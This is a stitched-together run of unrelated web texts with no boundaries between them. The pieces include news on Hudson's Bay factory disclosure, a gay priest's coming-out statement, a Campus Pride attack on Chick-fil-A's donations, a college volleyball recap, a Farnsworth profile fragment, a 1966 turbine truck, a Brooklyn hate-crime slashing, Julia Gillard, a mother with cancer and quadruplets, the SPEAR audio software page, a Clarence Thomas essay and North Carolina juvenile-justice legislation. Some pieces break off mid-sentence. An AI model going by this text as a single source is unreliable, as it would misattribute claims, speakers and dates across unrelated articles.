Hudson’s Bay acknowledged in corporate filings that 68 per cent of its audited suppliers in 2012 had workers-rights-related “issues to work on” at their factories.
“Factory disclosure alone doesn’t eliminate the possibility of shenanigans,” said Scott Nova, chief executive of the Worker Rights Consortium.
“It’s going to be important for the Hudson’s Bay policy to extend to its subcontractors, to every factory where their clothing is sewn. And they will have to make clear to suppliers and factories that there will be no tolerance for poor conditions at subcontractors.
“Right now, the brands and retailers put so much pressure on factories, on time and price, that it gives the factories a strong incentive to subcontract,” Nova said. “So doing the right thing here does mean slower delivery and potentially higher costs.”I don't know where to begin exactly, so let me begin with a quote from the statement I posted on my website and on Facebook this past Wednesday, May 15:
On May 23, 2013, I will be celebrating my 15 year anniversary to the priesthood as a catholic priest for the Archdiocese of Saint Louis, MO. On the eve of this anniversary, I have released the 2nd edition of my book "Hidden Voices, Reflections of a Gay, Catholic Priest" which was originally published anonymously in 2011. The second edition is now available, and has one main difference -- it is no longer anonymous. The decision to release the book under my name was not an easy one to make but one I felt was necessary.
It has been difficult to remain part of a hierarchy that has been so hostile towards homosexuals in recent years. This is especially true considering nearly 30% of all successful teenage suicides are attributed to sexual identity issues. Our church once stood for and represented the radical nature of God's love for all people. That is not the true today -- especially towards the LGBT community and therefore I feel compelled to stand in solidarity with those Catholic's who have lost their jobs, have been denied the sacraments, have been excommunicated or who have been made to feel "less than" by their church leaders because of who they love.
After posting the statement on Facebook, I sat back and to monitor the response.
Wow. Within seconds, people began to respond. Within hours I had received nearly 100 likes, comments, emails, texts and phone calls combined -- and it hasn't stopped. The local media asked for interviews and comments, which I was happy to give. It has been a frenzy of activity since. I have been overwhelmed by the amount of communications I have received from people everywhere and it has been unbelievably supportive.
Crazy! Who knew? Is this really a story? Do people really care? Why is it, that in a society that continues to move toward tolerance and acceptance of homosexuals, anyone would be interested in my "coming out"? And then I remember: Oh yeah, I'm a priest. A Catholic priest -- and everyone knows, Catholics are anti-gay, right?
I have tried over the years to reconcile my silence as a gay priest with that of the Church's increasingly anti-gay stance, but I have been unsuccessful. At the heart of every authentic call to ministry is the desire to live a life of integrity. It was my desire to live a life of integrity that led me to the priesthood and it is that same desire that has led me to where I am today. In the end it became clear that I could no longer be anonymous -- that is, I could not live as a gay priest, which means living in silence while publicly pretending to support the hierarchy's teachings on homosexuality.
A teaching that has caused and continues to cause harm to many gay men and women, young and old, who are looking for acceptance and love but instead find silence and shame. I am especially concerned for our LGBT youth. It's hard enough to be a "straight" teenager dealing with the standard ups and downs of hormones and emotions, but to be a teenager with same-sex attractions in a community where your spiritual leaders, the people you look to for guidance and affirmation, are telling you that you have a disease like alcoholism and that you're a threat to life. Can anyone survive it intact? Yet that's precisely the message our Church is sharing. LGBT youth are hearing that they are disordered, diseased, defective, damaged goods, wrong when they should be right.
Several years ago, a friend once asked me, "What is it you really want?" After a moment I replied, "I want to be out." My response caught me by surprise because the moment I said it, I knew it was true. I want to be out. It came with such clarity. I want the world to know the truth about who I am.
In the weeks that followed that conversation, I began to realize that what I really want is the truth to be out. I want the truth about homosexuality to be out. I want others to know that homosexuality is a gift. That you can live and love as God created you to love. We are created by love for love. Homosexuality is not a cross, it's not a curse, it's not an intrinsic disorder; it is a gift, created by love for love. It is a life-giving gift from God that embodies the infinite ways God's love can be manifested in our world. That's what I want. I want the truth to be out. I want people to know, to love and to respect one another by accepting this truth.It should not surprise anyone that a company that sells chicken using cows would also claim to be a Christian-principled family business and then take profits to fund hate groups. The real issue at hand is not freedom of speech or same-sex marriage but Chick-fil-A's secretive funding of documented anti-gay hate groups. The national organization Campus Pride made this clear last week in releasing "5 Simple Facts About Chick-fil-A." Campus Pride specifically called upon our nation's student leaders to share the truth about Chick-fil-A and its funding of radical-right-wing organizations and documented hate groups.
Through its family-controlled nonprofit arm, Chick-fil-A profits have funded such groups as Eagle Forum, Exodus International, Family Research Council, and Focus on the Family. These groups proudly and aggressively work against the rights of LGBT people, advocating their criminalization, psychological abuse, and death. Chick-fil-A has not disputed any of these facts. The "5 Simple Facts About Chick-fil-A" are well documented, showing the funneling of Chick-fil-A profits to anti-gay causes and even a hate group, as determined by the Southern Poverty Law Center.
While Chick-fil-A's leadership has every right to its views, beliefs, and voice, students and administrators alike need to know that revenues going to Chick-fil-A drive funding for groups that are almost certainly in conflict with campus nondiscrimination policies. There is no justification for Chick-fil-A to be on a college campus where there is a responsibility by administrators for a safe learning environment for all students. The actions by Chick-fil-A in taking profits to fund hate groups that harm a population on campus impedes safety and creating a learning environment for academic success.
Thanks to the president of Chick-fil-A, Dan Cathy, the cow façade has been lifted to show what is really behind the billboards and spicy chicken sandwiches. Good people, Christian or not, don't use their corporate profits to fund hate groups or causes that work to defame, criminalize, and execute people.
Colleges and universities have a real problem on their hands in the next few weeks as students come back to campus. You can't just tell students who disagree to not eat the chicken sandwich; that message is irresponsible and harmful to LGBT students. Colleges have to take responsibility for the facts and realize that student-meal-plan money is going to fund a documented hate group that works to aggressively harm students on their campus. This will certainly affect the safety and campus climate of all students.
Read the "5 Simple Facts About Chick-fil-A." Campus Pride calls on student leaders and campus newspapers to share that:
Chick-fil-A profits fund documented hate groups that aggressively work against LGBT people, advocating for their criminalization, psychological abuse, or death.
Chick-fil-A profits support the radical-right-wing group Eagle Forum, which supports LGBT people being considered criminals.
Chick-fil-A profits support Exodus International, which claims to "cure homosexuality" through psychological coercion of LGBT people. It says LGBT people are "perverse."
Chick-fil-A profits support Focus on the Family (FOF) and its off-shoot group, the Family Research Council (FRC), which has been designated as a hate group by the Southern Poverty Law Center. FOF aggressively defames LGBT people as a threat to children, and FRC spent $25,000 to stop the U.S. Congress from condemning Uganda's anti-homosexuality bill, which calls for the execution of gay people in some cases.
Chick-fil-A profits come from you. When you choose Chick-fil-A, you help fund hate groups.No. 23 Rams will find out NCAA Tournament draw Sunday night
FORT COLLINS — They waited 21 days, but that didn't put a damper on the celebration.
After capping the regular season with a four-set win over non-conference foe UC Davis (25-18, 25-18, 27-29, 25-18), No. 23 Colorado State finally got their hands on the Mountain West trophy the Rams had earned 21 days prior.
Actually, the wait felt much longer.
"We've been missing it for a year and half now, so it's good to have it back with us," senior Jasmine Hanna said.
The program celebrated a lot Saturday afternoon at Moby Arena, with five seniors playing their final home match. All of them were honored before the first serve, and the university played the Croatian national anthem for Sanja Cizmic and the Canadian anthem for Alexandra Poletto. Cizmic said she's been asking them to, and she really appreciated the gesture, just not as much as having her mother, Maja, on hand.
Both of them were a bucket of tears during the prematch ceremony, leaving Cizmic to regroup in short order.
"Real quick. The game started, and I kinda settled and realized I still have a game to play, it's not over yet," Cizmic said. "It's just getting calm and getting back into it. I was pretty bad.
"The last time (Maja) was here it was for freshman year and only for five or six days, so it was really awesome to have her here, especially to see me play for two games, and I loved it. I just love her and love her being here, because I really missed her."
The Rams were impressive in winning the first two sets and seemed to be on their way to a sweep before UC Davis put up a fight in the third. The Rams had match point, but the Aggies won the final three points to extend the afternoon.
Advertisement
Mahalia White had a lot to do with that, posting a match-best 20 kills for the guests.
"I think we were put into sort of a false belief in the first two sets that what UC Davis was like, because they were significantly better in set three," CSU coach Tom Hilbert said. "We competed well through parts of set three where we were having to sideout with them, get up to 27, 28, 29, but we didn't point-score well. We stopped blocking, then we turn around and block extremely well in the fourth set, and that was certainly the difference that frustrated them."
The Rams finished with 16 team blocks, but didn't have a single one in the opening set. Kirstie Hillyer finished with 11 on the day (one solo), and Paulina Hougaard-Jensen and Katie Oleksak had five assists each.
Overall, the Rams hit.327 in the match as Oleksak closed with 44 assists, with Hanna pacing the team with 14 kills. Hougaard-Jensen, who had nine on her first nine swings, finished with 11.
Cizmic gave her mother plenty to cheer about, notching eight kills, two aces and four block assists.
While the Mountain West trophy came rather easily for the Rams (they were five games clear of Wyoming with a 17-1 conference mark), the fact they were pushed in their finale was a good prep for the upcoming NCAA Tournament.
Colorado State's Paulina Hougaard-Jensen dumps down a kill Saturday against UC Davis at Moby Arena. The Rams won the match in four sets. (Michael Brian / Loveland Reporter-Herald)
The fact they were different was nice, too.
"Absolutely. I think what's even better than that is it's a team not in the Mountain West," Hanna said. "It just helps playing a team we haven't seen before. We get so used to playing in the Mountain West, we know everybody's style, things like that. It was good playing them, whether they played well or not well. It was just good to see somebody new."
The team will find out where it will be headed for tournament play when the bracket is announced Sunday at 7 p.m. The Rams put in a bid to host, but Hilbert doesn't think it will be likely, nor did he want to fathom where they may end up.
"I don't even want to guess. Every time I guess I'm wrong," Hilbert said. "I'm 99.9 percent certain we won't host, and then the question is whether they keep us in the West Region or they're willing to move us out. We have to fly regardless, so we could go anywhere."
Mike Brohard: 970-635-3633, [email protected] and twitter.com/mbrohardSince her father was sworn in as president of the United States, Ivanka Trump has made it her mission to do the |
, Rigby, ID (attended, 1921-23)
High School: Brigham Young University High School, Provo, UT (1924)
University: Brigham Young University (attended, 1924-25)
University: National Radio Institute (correspondence courses, 1924-25)
University: US Naval Academy (attended, 1925-26)
University: Brigham Young University (attended, 1926)
ITT Farnsworth Television & Radio Corp.:President (1926-51)
ITT Research (1951-68)
American Physical Society
Boy Scouts of America
Eagle Scout
National Inventors Hall of Fame 1984
Nervous Breakdown
National Statuary Hall (1990)
Risk Factors: Alcoholism, Depression
Official Website:
http://philotfarnsworth.com/
Appears on postage stamps:
USA, Scott #2058 (20¢, depicting Farnsworth with first TV camera, issued 21-Sep-1983)
Requires Flash 7+ and Javascript.
Do you know something we don't?
Submit a correction or make a comment about this profileBecause of the heat they generate and the tremendous speeds they operate at, gas turbine engines really don’t belong on the road. There have been a few famous exceptions, such as the Y2K Superbike that Jay Leno owns, but we’re pretty sue you guys have never seen a truck powered by one.
In 1966, Chevrolet really did think it was on to something when it launched the Turbo Titan III, fitted with the GT-308 prototype gas turbine engine that produced 280 hp at 35,000 rpm.
The engine had been in development for a decade and a half and GM engineers had previously fitted it to Firebirds and busses. After being completed in 1966, the Turbo Titan III prototype was sent on a nationwide promotional tour. “The point is that whatever kind of truck is in the offering from Chevrolet, it won’t be put up for sale until it’s absolutely right. That’s always been the Chevrolet Way!” said an official Chevy brochure at the time.
Guess it didn’t work out, since we don’t have gas turbine trucks on our highways today.
To be fair to Chevrolet, Ford and Chrysler also tried to develop these types of engines. All the companies believed gas turbines would be smoother when running, start more easily in cold weather and offer instant heat and window defrosting on colder days. The exhaust gasses would also be cleaner and a variety of common liquid fuels could be used.
The Turbo Titan was also interesting from a design point of view. Retractable square headlamps were mounted within the large functional air intakes in two banks of three lamps each that rotated on a vertical axis. Even the turn signals were retractable to reduce drag.
Inside, the most interesting feature was the so-called dial-steering system that Chevrolet thought would replace the steering wheel. Eventually, the project had to be scrapped due to government regulations and huge manufacturing costs. But the Chevrolet of 1966 was clearly not afraid to think big.
©The man who was wearing an American flag bandana over his face when he allegedly slashed a woman in Ditmas Park earlier this month has been charged with a hate crime. Gregory Alfred, 25, has been charged with multiple counts of assault and attempted murder as a hate crime after he allegedly confessed to police, "I cut her because she was white."
Alfred is accused of slashing 53-year-old Janina Popko across the back of her neck in Ditmas Park around 10 a.m. on March 10th. "[He said] nothing—breathing and slash," Popko told reporters after the incident. "It’s terrible. That’s all I can say... I am very lucky, and very grateful [to be alive]."
"I was riding my bike and I saw the victim sitting on the ground and she was crying," a good Samaritan who saw Popko after the attack told us. "I thought she had fallen because the pathway was in bad condition. It wasn't until I got closer that I saw that she was bleeding. The victim said she had been walking and the man came up from behind her and cut her and ran off. A girl who had been jogging behind her called 911 and I helped the woman until the ambulance came."
Sources told the Post that Alfred told police "he set out to slash white people because he blamed them and “the system” for preventing him from freely smoking weed."
Alfred was extradited to NYC Wednesday after being picked up at his mother's home in Sayreville, NJ over the weekend. He has been charged with attempted murder as a hate crime, attempted felony assault as a hate crime, felony assault as a hate crime, misdemeanor assault, and criminal possession of a weapon.
Another report stated that Alfred was arrested last year on a trespassing charge, but doctors determined that he lacked the mental capacity to stand trial. After a voluntary (but violent) stay at Kingsboro Psychiatric Center, he was sent to a facility for the criminally insane on Wards Island, and then ultimately let go when witnesses couldn’t or wouldn’t cooperate with the investigation.Well this is getting a bit embarrassing. While Hillary Clinton is making a serious and unprecedented bid for the White House, more and more Americans are asking questions about the experiences of Julia Gillard.
Just this week author Malcolm Gladwell has been cable-TV hopping to promote his new history podcast, while expounding on his theory that when we allow one woman through the ranks, we close them behind her to ensure another doesn't follow. In this scenario, he argues, our consciences are safe because we can tell ourselves we have already had one.
It's a phenomenon Gladwell calls "moral licensing". He told CBS This Morning: "what happened to Gillard in Australia is very, very interesting. She gets elected, everyone says, 'Wow, we finally elected a woman'. And there is this kind of backlash. It unleashes this kind of torrent of suppressed misogyny and abuse. You cannot imagine what she goes through."
I don't really buy his theory – I think Australians would happily elect Julie Bishop or Tanya Plibersek if given the chance. But when I watched him I could not help have the discomforting thought that as America is grappling with the prospect of a lady POTUS, we are sliding backwards.Get the latest from TODAY Sign up for our newsletter
Jan. 6, 2017, 6:05 PM GMT / Source: TODAY By A. Pawlowski
In 12 remarkable months, Kayla Gaytan has become a cancer survivor, a mom of spontaneous quadruplets and a cancer patient all over again.
Diagnosed with Hodgkin’s lymphoma six days before her 29th birthday and a week after her wedding in January 2016, she gave birth to her four babies last month. Now Kayla is getting ready for the fight of her life.
“It’s a little overwhelming, I’m not going to lie. Honestly, I just take it day by day,” Kayla told TODAY.
Kayla and her husband Charles, a soldier stationed in Fort Campbell, Kentucky, were already the parents of two children when Kayla began to complain of a persistent itch — one of the possible symptoms of Hodgkin’s lymphoma. She was misdiagnosed for a year and a half, but kept listening to her body and consulting doctors, she said.
RELATED: Josh and Jenna: Striking photos capture newlyweds' poignant love story
The Gaytan family includes parents Kayla and Charles, daughter Harper and son Ethan (not pictured). Courtesy Gaytan family
When Kayla went to the emergency room for a stubborn cough, a chest X-ray revealed tumors that took up a third of her chest cavity. She also had enlarged lymph nodes.
Hodgkin’s lymphoma, also known as Hodgkin disease, is a cancer of the lymph system. Kayla underwent “gruesome” chemotherapy, getting infusions every other week for five months, her husband wrote on the couple’s GoFundMe page. The treatment appeared to be successful and she went into remission in June.
'Truly a miracle'
Then something amazing happened. She found out she was expecting spontaneous quadruplets — conceived without the help of fertility drugs or other medical intervention.
“There were four healthy heart beats. It’s truly a miracle,” Kayla recalled of the visit to her doctor. “I called my husband when I got to the parking lot and he was really surprised and thought he misheard me… we were just kind of in shock.”
RELATED: Identical quadruplets surprise, delight newlyweds
Kayla enjoys a carefree moment during her pregnancy. Courtesy Gaytan family
Kayla’s goal was to carry the quadruplets for 34 weeks before a C-section. The pregnancy went smoothly; the babies all grew and progressed well.
Then, Kayla started itching again and noticed her lymph nodes “popping up” like before. A biopsy in November revealed the Hodgkin’s lymphoma had come back. It meant more chemotherapy. But first, she'd have to have the C-section.
Kayla began experiencing cancer symptoms again during her pregnancy. Courtesy Gaytan family
“My body was telling me that I needed to start treatment sooner, so we ended up taking (the babies) out at 30 weeks,” Kayla said. The quadruplets were delivered at Vanderbilt University Medical Center in Nashville, Tennessee, on Dec. 30.
The quads — Charles, Michael, Victoria, and Lillian — ranged in weight from 2 pounds, 8 ounces, up to 3 pounds, 2 ounces. They’re healthy, although Victoria and Charles have some issues with their lungs and are on ventilators — but improving daily, Kayla said. All four will likely stay in the NICU until February.
RELATED: NICU babies dressed as holiday gifts help families celebrate the season
The quadruplets were delivered 30 weeks into Kayla's pregnancy. Courtesy Gaytan family
The race to save Kayla’s life
Since the cancer returned, scans have revealed tumors in her chest, arm pit, and neck area. She starts chemotherapy on Jan. 18 and will have to have a stem cell transplant, followed by 16 more months of chemotherapy. Doctors have told Kayla she has a 50 percent chance of surviving the next five years.
“Hopefully, I can beat those odds,” she said, sounding upbeat.
Kayla Gaytan holds one of her quadruplets. Courtesy Gaytan family
“It would be so easy for me to go sit in a corner and cry all the time and be upset that all this is happening. But I think of my amazing family that I have and the support I have around me and that really helps me get through every day."
"Knowing that I have four new babies here that I’d like to see grow up and see how their personalities play out, that’s a big role in what helps me get through it.”
Follow A. Pawlowski on Facebook, Instagram and Twitter.S P E A R
Sinusoidal Partial Editing Analysis and Resynthesis
for macOS, MacOS 9 and Windows
News
Sept. 22, 2018 SPEAR is still alive! Version 0.8.0 for macOS has been released. Click here to download This version is a 64-bit application for macOS 10.10 or newer.
Nov. 29, 2009 Version 0.7.4 has been released. Click here to download for Windows XP/Vista and MacOS X (10.4 or later). This version fixes a bug with SNDAN files.
What's new in this version?
Support for Unicode filenames/pathnames. This fixes the long standing problem with pathnames containing non-ASCII characters.
Reorganized and streamlined synthesis options in the Sound menu. Choose various options under the "Synthesis Method" submenu.
Reorganized synthesis preferences.
Preferences for controlling noise resynthesis. The noise bandwidth and filter order can be adjusted. High filter orders will produce a noise band with a steeper amplitude cutoff slope.
Adjustments to the scaling effect of the noise slider.
Windows bug fixes.
Known Problems
No manual.
Problems? Questions?
Jun. 24, 2008 Version 0.7.1 released for MacOS X and Windows XP/Vista. Features include: pencil tool for drawing new partials, fade in/out selected partials, support for DirectSound and ASIO sound devices on Windows (select in the Preferences window), no expiration date.
Jun. 24, 2007 Version 0.7.0 is released as a Universal Binary for MacOS X 10.4. Finally!! New features are minimal, but include a fade-in/out option and a nice new set of toolbar icons. New Windows versions will be made available in the near future. Note: this version requires MacOS X 10.4 or later and will not run on 10.3. For those needing 10.2 or 10.3 compatibility, look to version 0.6.4r2 which is identical to 0.6.4 but includes the new icons. Visit downloads for all the details.
Dec. 14, 2006 Version 0.6.4 released for MacOS and Windows. Due to the beta expiration date in version 0.6.3, version 0.6.4 is now available. Sadly there are no new features. The Universal Binary version is still in the works. Visit downloads.
Feb. 15, 2006 Version 0.6.3 released. This is the last release for MacOS 9. Visit downloads.
RBEP export
using v19 (development version) of PortAudio. This may solve compatibility problems with some audio interfaces.
using v1.0.13 of Erik de Castro Lopo's libsndfile. Supports reading Sound Designer II files (at least on MacOS X)
analysis frequency tracking bug fixed
Help page available.
Introduction
SPEAR is an application for audio analysis, editing and synthesis. The analysis procedure (which is based on the traditional McAulay-Quatieri technique) attempts to represent a sound with many individual sinusoidal tracks (partials), each corresponding to a single sinusoidal wave with time varying frequency and amplitude.
Something which closely resembles the original input sound (a resynthesis) can be generated by computing and adding all of the individual time varying sinusoidal waves together. In almost all cases the resynthesis will not be exactly identical to the original sound (although it is possible to get very close).
Aside from offering a very detailed analysis of the time varying frequency content of a sound, a sinusoidal model offers a great deal of flexibility for editing and manipulation. SPEAR supports flexible selection and immediate manipulation of analysis data, cut and paste, and unlimited undo/redo. Hundreds of simultaneous partials can be synthesized in real-time and documents may contain thousands of individual partials dispersed in time. SPEAR also supports a variety of standard file formats for the import and export of analysis data.
Read more in the ICMC paper “Software for Spectral Analysis, Editing, and Synthesis.” (pdf) or in the dissertation paper Spectral Analysis, Editing, and Resynthesis: Methods and Applications.
Current Status
Currently SPEAR runs on MacOS X (PowerPC), MacOS 9 and Windows. For a variety of reasons SPEAR will probably operate better on MacOS X. The program is still in a pre-1.0 stage, meaning that not only will there be some bugs but that significant underlying changes may still take place before a 1.0 release. With that said, it is currently quite stable and useful.
Feeback
Please address feedback to:
Downloads
Please visit the download page.
Future Development
The program has been written with portability in mind (using the wxWidgets framework) so future versions could run on GTK. There are of course numerous features I would like to add.This year’s Supreme Court term abounded in so much drama—the death of Justice Antonin Scalia, the tie votes among the remaining Justices, the liberal victories in the final days—that it was possible to miss a curious subplot: the full flowering of Justice Clarence Thomas’s judicial eccentricity.
Since his stormy confirmation, in 1991, Thomas has been the target of much unfair criticism. Some have argued, for example, that his years of silence during oral arguments meant he was not doing much work at all. In fact, Thomas is the most prolific opinion writer on the Court—and that is especially true this year. According to statistics compiled by Professor Steve Vladeck, of the University of Texas Law School, Thomas wrote opinions in thirty-eight of the sixty-two cases the Justices decided in the 2015-16 term. That’s twice as many as Justice Samuel Alito, a conservative, like Thomas, and the next-most active writer on the court. Likewise, Thomas’s critics have made the condescending charge that he was just a blind follower of Scalia, an idea that the results this year also rebut.
The truth is that Thomas’s view of the Constitution is highly idiosyncratic. Indeed, one reason he wrote so many opinions (often solo dissents and concurrences) was that no other Justice, including Scalia, shared his views. Thomas is a great deal more conservative than his colleagues, and arguably the most conservative Justice to serve on the Supreme Court since the nineteen-thirties.
While some Justices are famous for seeking consensus with their colleagues, Thomas seems to go out of his way to find reasons to disagree—often in the most provocative ways. Take, for example, his solo dissent this year in Foster v. Chatman, in which all the other Justices joined Chief Justice John G. Roberts, Jr.,’s opinion setting aside a death-penalty verdict in Georgia. Roberts said that records preserved by the prosecutors in that case showed egregious racial discrimination in jury selection. Prosecutors said one juror “represents Black,” another note said “No Black church,” and other notes identified black jurors as “B#1,” “B#2,” and “B#3,” as well as notes with “N” (for “no”) appearing next to the names of all black prospective jurors. “The contents of the prosecution’s file plainly belie the State’s claim that it exercised its strikes in a ‘color-blind’ manner,” Roberts wrote for the Court, adding, “the focus on race in the prosecution’s file plainly demonstrates a concerted effort to keep black prospective jurors off the jury.” Thomas, alone, was unpersuaded. The prosecutors’ notes, he wrote, provided “no excuse for the Court's reversal of the state court's credibility determinations." (The case reflects a long pattern at the court of Thomas, the only black justice, voting against programs designed to assist African-Americans, and rejecting findings of discrimination against African-Americans.)
The Foster case turned primarily on the facts, but it’s on constitutional law that Thomas is most isolated. Far more than even Scalia did, Thomas endorses originalism—the belief that the Constitution should be interpreted as its words were understood at the time it was written. By a vote of 5–3, the Court struck down Texas’s restrictions on abortion clinics in Whole Woman’s Health v. Hellerstedt, but neither of the other dissenters (Roberts and Samuel Alito) joined Thomas’s opinion. What’s most extraordinary about Thomas’s dissenting opinion in the abortion case is not that he objects to the ruling; as he noted, “I remain fundamentally opposed to the Court’s abortion jurisprudence.” But Thomas also took the opportunity to reject more than a century of the Court’s constitutional jurisprudence. He said that, since the Presidency of Franklin D. Roosevelt, the Court’s interpretation of the Constitution has become an “unworkable morass of special exceptions and arbitrary applications.”
The abortion dissent explains why Thomas is so cut off on the Court, even from his fellow-conservatives. He doesn’t respect the Court’s precedents. He is so convinced of the wisdom of his approach to the law that he rejects practically the whole canon of constitutional law. It’s an act of startling self-confidence, but a deeply isolating one as well. Even his ideological allies, who mostly come out the same way on cases, recognize that they must dwell within the world that their colleagues and predecessors created. Thomas, in contrast, has his own constitutional law, which he alone honors and applies.
Thomas just turned sixty-eight years old, and reports of his impending retirement briefly surfaced before his wife shot them down as “bogus.” Indeed, it is difficult to imagine that Thomas would allow any Democrat to choose his successor. Shortly after Scalia died, Thomas asked his first question in oral argument in more than a decade, but it’s highly unlikely that he will take on Scalia’s role as the pugnacious conservative in the Court’s public sessions. Rather, Thomas will continue his own way, increasingly alone, as the Court, for the first time in two generations, moves to the left. As for Thomas’s place on the Court, it’s difficult to improve on Scalia’s analysis, which I heard him give at a synagogue a decade ago. Scalia was asked about how his judicial philosophy differed from Thomas’s. “I’m an originalist,” Scalia said, “but I’m not a nut.”Raising the age of juvenile jurisdiction in the state of North Carolina has been an ongoing issue in the North Carolina General Assembly. There are currently two pieces of legislation focusing on this issue, Senate Bill 506 and House Bill 632, which seek to raise the age of jurisdiction from 16 to 18. Four members of the North Carolina House of Representatives serve as the primary sponsors and there are twenty-six co-sponsors. Most of U.S. States define an adult at 18 years old; however, North Carolina and New York define a juvenile who has committed a criminal offense as no older than 16, which places 16- and 17-year-olds in a position where they are tried as adults for any offense.
Various advocacy groups are in favor of the proposed legislation and see the answer to a more productive society as one which conceals the criminal record of a minor through the age at which an individual is charged in adult court. While opponents fear this legislation will create opportunity for repeat offenders, they are also concerned with the funding for the program, as it seems there is not enough funding at the current capacity. A cost-benefit analysis done by the Vera Institute of Justice determined that initial costs would be high, but in the long run, raising the age would save money because offenders would be more productive in society.
History [ edit ]
Juvenile jurisdiction issues originated in 1919, "when fourteen- and fifteen-year-olds initially charged in juvenile court with felonies could be transferred to superior court. Since that time, transfer to adult court has been mandatory for some of the state's most serious felonies. In 1994, the minimum age of transfer was reduced from fourteen to thirteen, giving North Carolina judges the discretion to transfer offenders as young as thirteen from juvenile to superior court for any felony crime."[1] The controversy surrounding raising the age of juvenile jurisdiction has been contested for years. "In 1919, child welfare advocates recognized that providing preventative services to young offenders through the juvenile court system would likely lower the crime rate. In 1947, welfare officials recommended that young offenders receive treatment in specialized boarding homes and detention centers rather than adult jails, as they had found that this investment of time, effort, and money was more than repaid by the improvement in the behavior and attitudes of the children. In 1957, the governor asserted that including sixteen- and seventeen-year-olds within the original jurisdiction of juvenile court would ultimately provide great savings in money and human services. In 1967, it was found that rehabilitating young offenders by providing meaningful academic services and vocational education in open, closely supervised training schools lowered recidivism rates more effectively than methods that punish, ignore, isolate or try to fit the children into a pattern."[1]
Representative Marilyn Avila, one of the primary sponsors of House Bill 632
North Carolina House Bill 632 is bipartisan and supported primarily by children advocacy groups such as Action for Children North Carolina and have made several attempts to push legislation.[2] The primary sponsors of the bill include Representatives David Lewis, Shirley Randleman, Marilyn Avila, and Alice Bordsen. The bill is described as "an act to amend the definition of delinquent juvenile to raise the age from sixteen to eighteen years in six-month increments over a four-year period, to provide that sixteen- and seventeen-year-olds who have been previously convicted of a felony in adult court shall remain in adult court, to provide that sixteen- and seventeen-year olds alleged delinquent for a class A-E felony shall be transferred to adult court, to make conforming changes to other statutes relevant to changing the definition of delinquent juvenile, and to extend the youth accountability task force." [3] This bill was filed on April 5, 2011 and was referred to the Committee on Rules, Calendar, and Operations of the House on the following day. On April 7, 2011 the bill was withdrawn from the committee and was re-referred to the Committee.[3] Similar bills have failed in the past because they do not consider the biggest problem associated with the legislation which is the cost associated with increasing the number of children in an underfunded program.[4]
According to WRAL-TV News, "the suggestion is to raise the age of jurisdiction only for misdemeanors and low-level nonviolent felony offenses. It would not apply in cases where a person is accused of violent crimes."[5] Peg Dorer, executive director of the North Carolina Conference of District Attorneys, states "adult courts are better suited to handle adolescents charges with serious offenses like rape, manslaughter, larceny, or murder."[6] In the year 2009, "more than 96 percent were convictions for misdemeanors or low-level felonies."[7] According to Jeff Hampton of The Virginian-Pilot, "Changing the law in North Carolina would move 20,000 teens annually into the juvenile system when the conversion is completed, doubling the current load, according to a 2009 report by the North Carolina Governor's Crime Commission."[7]
Current policy [ edit ]
According to The Children's Alliance, the current policy is defined by the following:
13- to 17-year-olds who commit A felony - mandatory adult system
13- to 15-year-olds who commit B-E felony - juvenile system with option for transfer hearing to adult court
6- to 12-year-olds who commit any offense - juvenile court, no transfer hearing option [8]
House Bill 632 [ edit ]
According to The Children's Alliance, the proposed legislation is defined by the following:
16- to 17-year-olds that commit an A-E felony will be transferred to the adult system (will remain in the adult system).
16- to 17-year-old who commit B-E felony - mandatory adult system unless prosecutor finds extraordinary circumstances for juvenile system.
13- to 17-year-olds who commit F-I felony - juvenile system with option for transfer hearing to adult court.
13- to 17-year-olds who commit misdemeanor - juvenile court, but can transfer with hearing if also charged with a felony.
16- to 17-year-olds charged with motor vehicle violations remain in adult court
Once juvenile is transferred to adult system, always remain in adult system for any subsequent charges (applies to any 16- to 17-year-old that has already been charged in adult system when law takes effect).
Where detention is necessary, places 16- and 17- year olds in juvenile detention if they are under the jurisdiction of juvenile court and in county jail if they are under the jurisdiction of adult court.
Anticipate taking 4 years to move all 16- to 17-year-olds to the juvenile system:
2015 - less than 16 1⁄ 2 -year-olds move to juvenile system 2016 - less than 17-year-olds move to juvenile system 2017 - less than 17 1⁄ 2 -year-olds move to juvenile system 2018 - less than 18-year-olds move to juvenile system [8]
Policy formulation [ edit ]
An emphasis has been placed on increasing the age until which a minor can be sentenced in juvenile court for various reasons. Advocates are concerned for the future of minors who are charged with crimes and the long-lasting effects. "One of the strongest arguments for raising the age of juvenile court jurisdiction concerns the impact of a criminal conviction on a youth's ability to obtain work"[1] Often potential employees can be denied employment because of past criminal activities, even if they did not receive a conviction.[1] Another concern of advocates is the opportunity for higher education can be denied or limited by a criminal record.[1] As stated by Tamar Birckhead, "Access to high education lowers recidivism rates by opening the doors to economic and social advancement, excluding people from college on this basis will inevitably have a deleterious effect on the safety of the community at large."[1]
Advocates also see the importance of minors being placed in the juvenile system because of the services which are available to offenders. By "providing intensive supervision, meaningful treatment, and rehabilitation to sixteen- and seventeen-year-olds in juvenile court, rather than trying and incarcerating them with adult defendants in criminal courts and prisons, would lower recidivism rates" [1] whereas "youth who are tried and sentences as adults have been shown to receive little or no education services, mental health or substance abuse treatment, job training, or any other type of rehabilitative programming."[1] "While rehabilitation programs and intensive treatment for adolescents can be expensive, they ultimately save money by reducing the numbers of those who are prosecuted and sentenced as repeat offenders."[1] According to the Campaign for Youth Justice, "empirical research has demonstrated that violent adolescent offenders prosecuted in adult criminal court are likely to re-offend more quickly and more often than those adjudicated in a juvenile court setting." [1]
Costs [ edit ]
The Vera Institute of Justice conducted a cost-benefit analysis which found that "raising the age of juvenile jurisdiction from 16 to 18 for alleged misdemeanants and low-level felons will generate $52.3 million in net benefits, per annual cohort of youth aged 16 and 17, from the combined perspectives of taxpayers, victims, and youth."[9] In addition, "the policy change will generate an annual net cost of $49.2 million. The net cost equals a cost of $70.9 million to North Carolina's justice agencies minus $21.7 million in benefits to the criminal justice system."[9] "From the victim perspective, raising the age will generate $3.6 million in benefits, per annual cohort of youth aged 16 and 17. Youth whose cases will be handled in the juvenile system will reoffend at lower rates than if they were processed in the adult system, thus reducing victimization and victimization costs."[9] "From the youth perspective, the policy change will generate $97.9 million in long-term benefits, per annual cohort of youth aged 16 and 17. These benefits accrue over a period of 35 years and result from increased lifetime earnings, based upon the fact that youth tried in the juvenile rather than the adult system will be free of the burden of a criminal record that suppresses earning potential." [9] The report concluded that raising the age will "cost taxpayers $70.9 million a year and that this annually reoccurring investment will generate $123.1 million in reoccurring benefits to youth, victims, and taxpayers over the long term. The results indicate that the benefits of the plan outweigh the costs and that, from a cost-benefit standpoint, the policy change 